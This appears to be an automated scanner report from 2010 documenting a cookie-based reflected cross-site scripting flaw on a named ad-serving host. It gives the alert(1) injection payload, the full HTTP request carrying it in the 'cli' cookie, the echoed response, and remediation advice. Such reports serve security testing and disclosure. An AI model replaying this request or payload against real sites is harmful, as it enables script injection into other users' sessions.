The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa792'%3balert(1)//ccfc744d14b was submitted in the cli cookie. This input was echoed as fa792';alert(1)//ccfc744d14b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/bzo.361/L12_4858519 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9dfa792'%3balert(1)//ccfc744d14b; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 7086 Date: Tue, 23 Nov 2010 00:40:57 GMT Connection: close
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("bzo-22936075_1290472857","http://ad.doubleclick.net//bzo.361/L12_4858519;net=bzo;u=,bzo-22936075_1290472857,11bbcecf1d09b9dfa792';alert(1)//ccfc744d14b,none,;;contx=none;dc=d;btg=?","0","0",true);</scr'+'ipt> ...[SNIP]...
Report generated by XSS.CX at Mon Nov 22 19:42:54 CST 2010.